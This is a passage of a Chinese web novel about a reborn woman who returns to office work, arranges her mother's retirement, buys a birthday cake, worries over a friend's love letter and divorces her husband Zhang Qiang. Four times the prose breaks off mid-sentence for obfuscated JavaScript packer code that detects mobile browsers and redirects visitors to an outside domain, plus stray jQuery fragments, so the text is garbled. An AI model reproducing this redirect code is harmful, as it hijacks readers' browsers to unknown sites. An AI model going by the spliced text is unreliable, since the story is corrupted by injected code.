l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567386|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话!” “你们领导也太欺负人了,明知道你家在外地,还给你排年初一值班,什么人呐这是,看给孩子可怜的。” 谢广乾想起上午给首都的家人拜年的时候,母亲对他说:“孩子,你要在岗位上做一颗螺丝钉,服从领导的安排,为祖国做贡献。” 他知道母亲的话是对的,也是为他好。 然而他看看写过的材料、加过的班,那些觥筹交错的晚上,他到底在为祖国的哪一个方面做贡献? 而在梁凤至絮絮叨叨地为他打抱不平的时候,他才知道,上午挂了电话之后的失落感,是源于从来没有人跟他讲过这些。 从来没有人吗…… 谢广乾感慨了,感动了,感慨加感动的谢广乾双腿并拢、脊背挺直,端端正正地坐在杜涓家里……嗑了一下午瓜子。 他想要帮忙,走近灶台又被梁凤至推远。 “哪有让小孩干活的!快吃好吃的去吧!” “我也是小孩,为啥让我干活!”屋里给小杜若换尿布的杜雨反抗。 “你都是小孩她大姨了,装什么小孩!”梁凤至双标道。 折叠桌另一侧的杜涓看着谢广乾抿嘴笑笑,“你看她俩,像不像演小品?” 谢广乾也笑,从隔壁拎来的一大袋砂糖橘里挑出一个最好看的剥开,把橘络仔仔细细地撕下来,再把完整的橘子连着橘子皮递给杜涓。 “真甜。” 杜涓满足地眯眼,不像后来的丑橘,好剥皮,超级甜,但是也没什么橘子味,现在的砂糖橘酸甜正好,让人吃着上瘾。 两个人吃到手指都被染成黄色。 杜涓看着指尖无语:“上次吃成这样还是小时候呢。” 谢广乾挑眉,杜涓小的时候家庭条件应该不错,他小时候,可从来没这样放开吃过填不饱肚子的水果。 但是说出口就不是那么回事,他们还没有熟到这种地步。谢广乾生硬地换个话题:“那个,你离婚了吗?” 杜涓被突如其来的问题呛到,“咳咳咳……还没有。找不到张强他们家人,估计是刻意躲着我们呢吧。” 梁凤至去了几趟杜涓办公室,回来时也捎回消息。张强几个月没上班,不知去了哪里。 他的工资折倒是还在杜涓家抽屉里放得好好的。 谢广乾其实问题出口就后悔,这个话题比他忍住没说的那个还冒犯。但杜涓除了意外,并没什么情绪波动,就好像在说别人的事情。 一颗心稍微安定,随即开始更剧烈地跳动。 “我有同事在民政口,用不用……” 杜涓心下了然,九十年代的小城市,很多事情都模棱两可。 “不用了。他不上班超过一定时间,无论是走还是留,都要回来办手续,就不信找不到他人。” 她还是想规范走程序,为了防止以后可能出现的任何麻烦。 “啊……这样啊。” 谢广乾张了张嘴,又不知道说什么。窗外的爆竹声就没停过,时不时吓哭小杜若,再加上厨房里热锅爆炒的声音,没人注意这片甚至不能被称为“客厅”的区域里,两个人长久的沉默。 14. 第 14 章 杜涓的焦虑在年初七那天达到了顶峰——明天就要上班了。 以前上班焦虑,是因为工作太忙;现在上班焦虑,是因为她连办公室的门朝哪个方向开都不知道。 因为要喂小杜若,杜涓还是睡不成整觉,只觉得脑袋刚沾上枕头,天就蒙蒙亮。 靠在床头再眯一会儿,左边小杜若还睡得香甜,右边半张床早已经没人。 梁凤至早就收拾利索,出门买早饭。回来叫人:“起床啦,小懒虫!” 鸡蛋煮熟了放在凉水里,一会儿就好剥壳。塑料袋装着的豆浆倒进奶锅里煮沸,咕嘟咕嘟地冒着泡泡。杜涓刷完牙,睡眼惺忪走出来,帮着把大果子码进盘子。 梁凤至往杜涓装豆浆的大碗里放两勺白糖,“吃这么甜,不怕牙疼!” 杜涓用筷子一个劲儿把大果子往豆浆碗底怼,都泡得稀软也不夹起来吃。 梁凤至心里叹口气,从女儿皱着的眉头里读出“不想上班”四个大字。 她把鸡蛋放在桌上,手按着鸡蛋滚来滚去,“妈一会儿跟你一起去单位。” 杜涓抬起头,疑惑是疑惑,也说不出拒绝的话,哪怕是客套。 “妈终于要退休啦!” 羡慕死了羡慕死了…… 等到还在享受寒假的杜雨接过需要照看的小杜若,杜涓和梁凤至走在上班的路上,脑海里就剩这一句话。 不过一路风景也绝非陌生,杜涓落后梁凤至半步,走到办公室门口,终于完全确定,这就是张晓风小学的时候,她妈的办公室。 二楼第三间,原来一直就在这个办公室没变过。 打开门锁,她们来得早,其他人还都没有来。 办公室不小,外间三张桌子像三个“口”紧挨着的一个“品”字,里间如果她没记错的话,应该是存放档案的房间。 上辈子杜涓具体干啥,没跟张晓风说过。约莫是人事一类的活儿,因为张晓风偷看过里间的档案,上面全是个人信息。 但是杜涓工位在哪张桌,她还真不能确定。 她努力回想,上辈子这间办公室里好像只有两个人来着。 梁凤至倒是熟门熟路。 “小王可真是的,知道你要回来,还占着你桌子。” 她嘴里念叨,手上也没闲着。拿下门口架子上的搪瓷盆,去水房打水。 由梁凤至的话推断,可见堆满东西的是杜涓办公桌。杜涓探过头,还没看清是什么,就被推门进来的人夸张的说话声打断。 “哟,都说你过鬼门关呢,这么快就回来上班啊!” 杜涓抬起头,毫不意外地看见王姨——现在她们年龄相当了——王颖华的脸。 果然还是她,上辈子杜涓的冤家。 那时张晓风上小学,杜涓疑心病很重,看谁都像肖想张强。和王颖华扯头花,有时当着张晓风的面能忍住,更多的时候忍不住,什么难听话都说。 张晓风都不知道她们是因为什么事,从什么时候开始交恶,但总之不对付。也许那时候也没有和杜涓能对付的人吧。 而现在,满桌子的东西,就足够让杜涓跟王颖华不对付了。 王颖华甚至还提溜着一大兜毛线团,想要往杜涓桌上放,被杜涓横了一眼,才讪讪拉开桌下的柜门塞进去。 “涓啊,我东西多,你也没啥事,就再让我放两天呗?” 杜涓看着桌上的东西,一摞琼瑶小说,一个泛着油光的饭盒,不知道几袋子毛线,横七竖八的过期报纸,雪糕袋子…… 她两根手指捏起“大脚板”雪糕的袋子一角,融化的巧克力还沾在上头:“算了吧姐,这种金贵东西还是你收藏吧。” 王颖华瞪大了眼睛,杜涓居然会拒绝她! 不是,杜涓居然会拒绝人了! 难怪张强和他妈在加工厂大院,前段时间都夹着尾巴走,这段时间……好像没再见着了…… 梁凤至端着接满水的盆回来,把在暖气片上烤得干硬的抹布扔进去泡着,“小王啊,劳驾收拾收拾啊,涓一会还干活呢。” 哦,狐假虎威啊。 王颖华后悔今天出门没看黄历,梁凤至谁敢惹,带个塑料框眼镜,片儿还挺厚,瞅着文质彬彬的,据说年轻的时候为了什么事能追着人骂出去三条街。 尊重还是得尊重,她不情不愿把扔了一冬天的垃圾往自己桌上划拉。 杜涓也没闲着,她被梁凤至塞了个拖布,包着蓝色塑料皮的木杆儿,底下几根布条都看不清本来颜色。 穿越前打扫房间基本靠扫地机器人和家政,穿越后更是十指尚未沾过阳春水的杜涓:“……” 所幸对于使用这玩意儿的记忆,倒也不是一点没有。她提起角落里带滤网的长方形水桶,凭着记忆往水房的方向去。 不知使用什么时间魔法,杜涓笨手笨脚回到办公室,桌面基本已经打扫一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574615|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空。 桌面上的台历还停留在去年九月,一部老式电话机,玻璃板下面压着杜涓和张强的合照、单位的几个电话号码,除此之外别无他物。 杜涓掀起玻璃板,把合照掏出来,想扔。 仔细一看,背面还有字。 “说好了一辈子,少一年、一个月、一天、一个时辰,都不算一辈子。” 杜涓:呕。 很快一切收拾停当,梁凤至却还不走。 “姑娘,这回可以给我办退休了吧!” 杜涓:原来我是负责给人办退休的。 王颖华手上织着毛衣,眼睛瞟着这对母女看热闹。不知怎么的,她觉得这俩人还挺好玩的。 不像以前,天天苦大仇深的。 但是杜涓业务确实没得说,就是跟个闷葫芦似的。以前给职工办手续,职工一旦狮子大开口想要点规定以外的东西,她就不知所措。 这回看起来倒是不麻爪了,但是怎么行动迟缓,好像忘了业务似的呢? 行动迟缓的杜涓翻了好几个抽屉才找到自己想要的东西,蓝色硬纸壳封皮的登记本。 原来一切印象都比她想象中还要深。 上辈子小时候的暑假寒假就是在妈妈办公室做作业。张晓风有过一个痴迷阅读的时期,只要有字,什么都翻出来看。 妈妈的日记本,里屋的档案,办公桌抽屉里的工作记录,乃至废报纸、使用说明书,逮什么看什么,还过目不忘,印象贼深刻。 不过那段时期过去之后,脑子就没那么灵光了。 现在的杜涓无比感谢那段时期的自己,她凭着记忆找到“离退休职工信息表”,让梁凤至坐在自己的座位上填。自己站起身,在身后书柜里找到收纳之前留存信息表的文件盒,抽出几张来看。 心中有数的时候,梁凤至也填完了表格。 “好了,就差盖个章。”杜涓心里暗暗比对表格信息,可是章子在哪儿呢,她面色踌躇。 “你快歇着吧,忙活一早上了,盖章不是找你沈姨吗,我自己去。” 梁凤至像会读心。 杜涓连忙追上去挽住梁凤至胳膊:“妈妈我要跟你一起去!” 要不然回头又对不上沈姨是哪位。 王颖华看着梁凤至和杜涓一同出门,都半扎着头发,留下长发飘飘的两个背影,看着活像一对姐妹俩,用了一点力气才收回自己目瞪口呆的表情。 15. 第 15 章 下班的时候,杜涓自觉成为本办公室最努力工作的人——她今天办理了整整1笔业务呢,虽然是给自家老妈办退休。 王颖华同志嗑了少说半斤瓜子,织出了一只灯笼袖,还看了大半本琼瑶。 而自己对面桌那位大神压根就没有来。 杜涓步伐轻快,由衷感谢这个通讯基本靠吼的时代。 虽然天已经黑了,但是现在才下午4点啊!下午4点,她已经走在下班路上了! 而且还是这层楼最后一个下班的,简直有严重内卷嫌疑。 路过自家门口,杜涓迟疑一下,继续凭着记忆七拐八拐往前走,一直到一家小店门口,抬头看牌子。 “星星蛋糕坊” 很好,原来现在这家店已经存在了。 她推门进去,一股烘烤的甜香。玻璃柜台后的女老板抬头看她一眼,熟稔问道:“还是一个小蛋糕啊?还剩果酱的和巧克力酱的。” 说着,就要开柜台门。 杜涓连忙阻止,“今天要个六寸蛋糕……八寸吧。” “八寸?这么大的啊?” 女老板指着柜台下层的蛋糕模型。 杜涓也凑过去看,“对,就这么大的,但是那个松树和鹤别画,给做点奶油花吧,再来一把油纸伞。” “好嘞,二十八啊。” 杜涓没还价。女老板麻利地从冰箱里拿出蛋糕胚,一层一层涂抹奶油。 杜涓上辈子就爱看人家做蛋糕,现在也还没看够。 以前只有自己过生日会吃一个可以挑选图案的大蛋糕。考得好的时候,偶尔妈妈会给买一个小蛋糕,八块钱一个,上面有四五块不知名字的装饰糖果,还有一把可以开合的油纸伞。 但是这种小蛋糕不是现做的,所以观看制作蛋糕的过程,一年只有生日的时候一次。 有一次妈妈自己去把蛋糕买回来,她没挑上图案,也没看上做蛋糕,还不高兴来着。 但是不高兴也不敢跟妈妈说,只能忍着,切开蛋糕,看见里面的果酱夹心被妈妈取消了,就更不高兴。 那时候的杜涓说:“果酱都是色素,多不健康,而且不要果酱还能便宜五块钱呢。” 杜涓想到这里,都有点恨自己小时候记忆实在太好。 偏偏是这种事情,记得那么深,过了多少年还耿耿于怀。 至于那时候的妈妈……妈妈过生日从来不吃蛋糕。 所以刚才看见蛋糕店的老板和自己那么熟悉地打招呼,她才会那么疑惑。 疑惑的事情太多了,一件件压在心底,她发现张晓风可能从来都不了解杜涓。 很快蛋糕做好,“写福如东海、寿比南山可以吗?” 杜涓想了想,“不了,就写生日快乐吧。” 杜鹃河都市传说,这位女老板大字不认识一个,却用果酱写得出各种漂亮字体的生日祝福。 当然墙上挂着的经常更换的价格表,和很久很久以后无意间在短视频平台刷到这位女老板粉丝众多、文案老长的账号,让这个都市传说大大存疑。 不过蛋糕确实像是艺术品,不像后来那些放个塑料玩具、插个祝福牌的蛋糕,这个蛋糕上的每一朵花都是用奶油挤成的,各不相同、栩栩如生。 植物奶油,所以很□□。杜涓忍不住想。 用圆形纸盒打包好蛋糕,硬纸壳做的生日帽就围在蛋糕盒外围。老板又问:“几根蜡烛?” “五十岁生日,五根吧。” 一手交钱,一手交货。杜涓回到家,只有梁凤至在和面。 “咋才回来啊?” “嘿嘿。”杜涓转移话题,“我姐呢?” “说去找你去了,鬼鬼祟祟的。”梁凤至一回头吓一跳,“我天,买这么大蛋糕干啥啊!” “妈妈生日快乐呀。”杜涓下巴搁在梁凤至肩膀上,声音黏糊糊。 “真是败家。”梁凤至说着说着也忍不住笑了。 “有没有想我!”杜涓又进屋去抱小杜若。小婴儿刚刚吃饱冰箱里存的奶,被杜涓的手冰到,还觉得好玩,咧开嘴咯咯笑。 梁凤至探头看看,摇摇头,小的乖得不行,不哭不闹,大的却越来越像小孩子。 杜雨开门就大叫杜涓奸诈:“我去蛋糕店,人家跟我说你妹刚才都买完了!” “说明你战略意识不行。” “明明是你家小杜若太黏人,我一走她就哇哇大哭,好不容易才哄好,要不早去了!” “胡说,我家小杜若乖着呢。”杜涓抱着小杜若,看杜雨偷偷摸摸解开蛋糕盒上绑着的蝴蝶结,掀开盖偷吃一朵奶油花。 晚饭吃的鸡蛋打卤面,清清爽爽一碗,上头撒一把小葱。杜涓费了好大的劲才控制住自己没去盛第二碗。 梁凤至接过她的碗,“多吃点啊,你都瘦了。” 杜涓心想,产后恢复期好不容易瘦下来几斤,她容易吗? “她还要留着肚子吃蛋糕呢!”杜雨说完,不出所料地又被梁凤至拍了一下。 奶油蛋糕冰凉湿软,光吃蛋糕胚已经够香,母女三个埋头奋斗半天,才吃掉三分之一不到。 剩下那么多,又太高,塞不进冰箱。梁凤至大方切下一大半,“我给隔壁那孩子送点去。” 敲了一会门,又原样端回来,“都七点半了,怎么还没回家。” “加班吧。”杜涓见怪不怪说。 “七点半还加班,怎么可能!”梁凤至和杜雨都大惊失色。 杜涓心想,呵呵。 好在外头仍然天寒地冻,梁凤至留出一块蛋糕作明天早饭,其它的都装进塑料袋,伸长胳膊放在窗户外侧的窗台上。 这块蛋糕永生了。 杜涓被自己想法逗笑,用蛋糕上取下来的亮黄色小纸伞吸引小杜若视线。 小杜若伸手去抓,又被回身看见的梁凤至阻止,“那是牙签!看扎了孩子!” 好日子像流水账。 杜涓换下长款羽绒服,穿棉衣去上班那天,被梁凤至抓住在家门口念叨了十分钟。后来还是穿着马甲套毛衣的谢广乾从隔壁出来,才让梁凤至转移集火目标。 杜涓有点抱歉又忍不住幸灾乐祸地吐吐舌头,一溜烟下楼。 有点儿晚了,不过应该不至于迟到。 到办公室的时候,发现一个男的蹲在门口。 走近了一看,稀客啊,这不是张强吗。 真是踏破铁鞋无觅处,得来全不费工夫。杜涓撂下一句“你不来找我,我还要找你呢”,进门放下小皮包,拿着脸盆要打水。 咦,脸盆是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582073|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满的。 转头看王颖华,一脸“快夸我”和“深藏功与名”交织的表情,瓜子都掏出来了,擎等着好戏开场呢。 杜涓气得想笑。 上班时间不长不短,足够她给王颖华下个初步定义,人倒不坏,有时候还挺热心肠,就是爱贪小便宜。 话说回来,都是刚从苦日子过来的,真正大方的人又有几个呢。至少那天杜涓花二十八买蛋糕没讲价,梁凤至第二天就不知道从哪儿听说,还教育她好几天。 张强期期艾艾进来,“涓,给我办个转正手续呗。” 杜涓还没说话,王颖华“扑哧”一声,“杜涓专管离退休干部职工,您老人家要退休了啊?” “哪能啊小华,我上有老下有小,还忙着养家呢。” 张强露出人畜无害的社交笑容。 杜涓公事公办,指了指空空的对桌:“真不巧,转干的手续都是杨姐管着,她家情况你应该也知道,说不准什么时候能过来。” 确实说不准,上了大半个月班,杜涓统共见到杨姐两回,有一回还是在旁边菜市场。 张强蹭前两步,“涓,杨姐得看他家大孙子外孙女,这儿工作还不都靠你,你业务都熟,给我办了呗。” 王颖华吐瓜子皮吐一地,这夫妻俩之前腻腻歪歪,现在倒是换了个风格。 杜涓食指指尖点着办公桌,那里原来有张照片,撤下去之后桌面比别的地方颜色深不少,方方正正一块,挺突兀的。 她皱着眉头为难,张强眼睛又是水汪汪,都快蹲下摇尾巴了。 “行吧。” 杜涓好像终于下定决心,绕到另一边办公桌,路过王颖华座位时踢了踢脚下瓜子皮,“自己扫啊。” “……好嘞。” 张强亦步亦趋跟过去,“涓,我就知道你还是这么厉害。” 王颖华找了个空塑料袋,把瓜子皮往里扔,稀奇,以前都是杜涓跟着张强,现在好像倒反天罡,变成张强捧着杜涓了。 杜涓熟门熟路开柜子,工作清闲,最近她也没少翻箱倒柜,这儿瞅瞅,那儿看看的。 掏出一张表格,张强刚要接过去,杜涓手又缩回来,“我再瞅瞅啊。” 她翻开厚厚一本《制度汇编》,研读半天,指其中一行给张强看,“不行啊,你是特殊转干吧,这儿写着‘夫妻双方均适用此项内容的,自行协商由其中一人享受相关政策待遇’。” 张强眼神空空,好像没听懂,“什么意思?” “……”听不懂中文吗? 王颖华插话,“就是说你和杜涓不能同时享受这个待遇,杜涓她爸提干就是因为这个吧,杜涓又是接的她爸的班,所以也跟着算特殊转干,你俩两口子,你就不能这么提了。” 张强更晕了,“这跟她爸有啥关系?” 转过头看杜涓,好像在求灵丹妙药,“涓,我听不懂,你想想办法呗?” “办法倒是有。”杜涓费了好大劲才把准备已久的台词用不疾不徐的语气说出口,“那就离婚呗,离婚就不是夫妻双方了,你就能适用此项内容了。” 哦豁,吃到大瓜。 王颖华瓜子都不嗑了,这真是太有意思了,虽然早就听说杜涓生了孩子就吵吵着要离婚,但是听说哪有看现场直播刺激啊。 16. 第 16 章 张强觉得简直遇见鬼打墙,怎么最近每次见杜涓,最后的结果都是杜涓嚷着要和他离婚啊。 “涓啊,你还不知道我的心吗,求你了别跟我离婚……” 张强瞥了一眼旁边吃瓜吃得尽兴的王颖华,恳求的声音猛然低下去。 又是那种泫然欲泣的表情。 杜涓觉得恶心,这表情她上辈子见得多了,这辈子见得更多,张强从来不觉得自己有错,他只是用这种表情激起女人的怜悯,并且曾经屡试不爽。 “你还是好好想想吧,转干不是可以分房吗,这政策省城说是明年就取消了,也不知道咱们这儿怎么说。” 分房啊…… 张强沉默一下,对杜涓虚弱笑笑,“我去问问我妈。” 眼神留恋地瞄着杜涓,但是脚下一点不迟疑地往外挪。 王颖华转过头,“哎,你妈去哪儿了?我感觉挺长时间没看见她了。” “我妈帮我姐看孩子去了,在省城呢!” 张强的声音从门外传来,人早溜得不见踪影。 王颖华回过头,看见杜涓脸上一抹讽刺的笑。 “没想到啊,你还挺有手段,看张强让你拿捏得这么可怜,心都碎了。” “他只是一颗心碎成了十八瓣,分给了二十多个姑娘罢了。” 王颖华被杜涓逗得哈哈笑,“没看出来啊,你还挺有幽默细菌。” “对了,今年分房的事有信了?我是听说,北边家属楼那一片还空着。” “我诓他的。”杜涓用软布擦干净桌子,抖开一大张报纸开始看。 王颖华突然无法通过杜涓的表情猜到她在想什么。 她起身用扫帚把地上的瓜子皮拢成一堆,用簸箕搓起来倒掉,以前那些莫名的轻视,好像也一并收回了。 “杜涓,我也觉得你真是变了。” 第二天是星期日。梁凤至接到张强妈的电话,说等她赶回来就可以办离婚。 回到家,梁凤至打开橱柜找零食,“得给广乾补补,瞅瞅都瘦成什么样了,估计又没好好吃饭。” 又忍不住抱怨:“张强他妈一点分寸没有,知道自己一时半会说不完,还不往电话亭打。” 张强妈从省城来的电话打到谢广乾家,叨叨了快半小时,而长途电话是双向收费的。 杜涓抱着小杜若,看梁凤至一阵旋风似的从外面刮回来又刮出去,继续举着明信片指给小杜若看。 “熊猫,跟妈妈念,这是熊——猫——” 梁凤至回来就听个话尾:“她才几个月,要是真的开口说话,不得吓你一跟头。” 小杜若:“啊——啊——” 杜涓兴奋:“妈,她刚才啊啊的音调是对的,你听见了吧!” 梁凤至反正是没听出来,她凑过来是有别的事问杜涓,“分房真有信了?” “没有。”杜涓认真跟妈妈解释:“报纸说首都已经逐步取消分房了,说是促进商品房流通。上面都这样,下面也说不准。” “我听着也是这么个理。上回去银行问贷款的事,接待我的那个小年轻,前两天我俩又碰上了。听他说,省城那个望江楼小区,就盖在江边,马上就要开卖。” 四十平的一室一厅,五万多块钱,首付百分之三十,深往下讲,还能有优惠。 “给你跟你姐一人买一套,首付我掏百分之五十,后面的贷款你俩自己还。” 杜涓听了也是心动。省城的小有发展,最少还得往后数二十年。然而现在大白菜一样的房价,不买好像亏大了。 “我再想想”几个字,好不容易从杜涓牙根蹦出来。 梁凤至没有这些百转千回的心思,她翻过明信片看背后内容:“刘丽丽这是去哪儿了?” “大西南吧。” 梁凤至翻来覆去看明信片,几乎爱不释手。杜涓把其他几张拿出来:“是一套的,当地特色动物,我也觉得挺有意思,小杜若也爱看。” 卡通形象比动物照片可爱得多,又惟妙惟肖,的确称得上是精心设计。金丝猴、大熊猫,梁凤至念背后的文字:“羚牛,这是什么,我都没听说过。” 杜涓这才发现,梁凤至也喜欢这些被上辈子的杜涓称作“美丽废物”的东西,“送你了。” 梁凤至欣然收下,认真压在书桌玻璃板下,“真好看。” 还有一封信,梁凤至就没再管了,年轻女孩儿之间的私房话,既然没写在明信片上,她自然不会去窥探别人的隐私。 抱走小杜若去晒太阳,她会尽量给这个安静的女儿留些独处时间。 今天的太阳确实挺好。春天快来了,屋檐下的冰溜子开始有点融化,梁凤至抱着小杜若离楼八丈远,就怕冰溜子掉下来砸到人。 杜涓的心却如坠冰窟。 信的开头平铺直叙:“涓,我好像恋爱了。他叫温成。” 杜涓不是第一次看到这句话。 上次看到这句话时,自己坐在家里的书柜前,捧着妈妈的日记偷偷翻,一张泛黄信笺就从日记本里飘下来。 “我好像恋爱了。他叫温成。” 还没来得及看下一句,信笺就被怒不可遏的妈妈抽走,她甚至觉得,妈妈是因为看见自己看这封信,才更加怒不可遏。 后来的零碎记忆里,妈妈用“笤帚疙瘩”追着她打,她在扫帚被打飞的秸秆碎屑里跑到哪儿,都躲不开妈妈声嘶力竭的辱骂。 现在想想,妈妈当时为什么会发那么大的火呢。 “不学好”“见了男人不要命”这些话,又真的是对当时不过十岁左右的她说的吗? 杜涓手心的冷汗浸得漂亮的簇新彩色信纸有些皱巴巴,她定了定神,认真读了一遍这封今天才知道是来自刘丽丽的信。 刘丽丽说在跟团出游的时候遇见温成,一个初出茅庐的诗人。 “他一会儿沉默不语,只剩长长的刘海儿倔强地翘着,好像在诉说他那永恒燃烧的心;一会儿又虔诚地跪下,感恩大自然给予他这无边美丽风景的恩赐。我还没有答应他呢,收到的情诗已经厚厚一摞。” 上辈子高中是理科,大学是工科,杜涓只觉得这个男的被刘丽丽描述得像躁郁症患者。 “彩云之南买来的鲜花饼已经吃尽,剩下一个方正铁盒。我把情诗装进铁盒里,情诗便也染上玫瑰芳香。我已经决定,铁盒装满的那一天,我就嫁给他。” 不行,我不同意! 杜涓霍然站起来,尽管还不能确定刘丽丽的死是生病还是意外,她却总觉得与这个在刘丽丽充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597560|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱意的描述下仍然莫名其妙的温成脱不了干系。 她坐在书桌前,深吸一口气,铺开信纸写回信。 周五是惊蛰,梁凤至一大早就念叨着“惊蛰乌鸦叫、春分地皮干”,又高兴笑道:“今天乌鸦一声也没叫,准是有好事等着咱们呢。” 杜涓望窗外,昨天刚下过一场雪,气温在零上和零下之间徘徊,车一碾过马路上就脏兮兮,哪儿来的这么抗冻的乌鸦呢。 不过今天的确是个好日子。 她穿上刘丽丽邮回来的黑色呢子大衣,说是香江那边今年最流行的款式。梁凤至不干,非让她在套上棉马甲,幸好从外面看不出来,大衣依然松松垮垮。 又系上红围巾,才终于得到出门许可。 民政局在政府院里。约的八点在正门口见,八点二十也不见人影,倒是等来上班的谢广乾。 谢广乾推着自行车,步履匆匆,有点狼狈。 “太泥泞了,一会儿骑不动,一会儿打滑。” 梁凤至又是笑,又是心疼,“孩子,倒春寒厉害着呢,看冻感冒了。” “没事阿姨,我明天就坐公交车。”谢广乾从善如流。 眼看八点半,张强母子终于露面。 当妈的喜气洋洋,儿子垂头丧气,民政局窗口的小姑娘看了以为是包办婚姻。 不能啊,旁边母女俩那么惹眼,又看着就知书达理,这男的别扭什么呢? 正在和旁边窗口的同事交换眼神,就看见母女俩走上前来,“同志你好,我们想办一下离婚手续。” “好的,新人一寸照片……什么?” 离婚手续,窗口小姑娘业务显然不熟练,核对结婚证的时候看见结婚日期是去年五月,更是闻所未闻见所未见,本来就不太清晰的思路又被分走一半。 杜涓都忍不住上去指导:“那里是不是得盖章?” 人事手续不过都是那么回事,死记硬背不如一通百通。小姑娘如蒙大赦:“对对,差点忘了。” 磕磕绊绊终于把两本离婚证拿到手,张强妈饿虎扑食一样:“姓梁的,孩子的工资折放你那儿时间够长了吧?” 梁凤至本来也没打算侵占他人财产,掏出存折递给张强,“还给你,里面的钱从来没动过,你要是不信,回去就把密码换了。” 张强正捧着绿本本黯然神伤,顺手接过什么,看也没看就递给自家老妈。 梁凤至:…… 孩子扶不起来,真是没有办法,好在从此与自家无关。 张强妈接过存折认真翻看,好像要把存折盯个窟窿。 翻了半天,终于不得不承认,自家儿子那点可怜的工资的确还好好地躺在这个小本里。 “算你有点良心。” 梁凤至说:“从今以后,两家就算两不相欠了。”又客气道:“都是加工厂的,低头不见抬头见的,结亲不成,就算多了个朋友吧。” “谁要跟你处朋友!”张强妈鼻孔朝天一哼,“大路朝天各走一边,这辈子跟你们家这样人再也别见!”、 …… 半个小时后,刚说完“这辈子再也别见”的人在加工厂办公室,跟杜涓大眼瞪小眼。 杜涓用尽全身力气才忍住笑,“婶,这辈子过得挺快的哈。”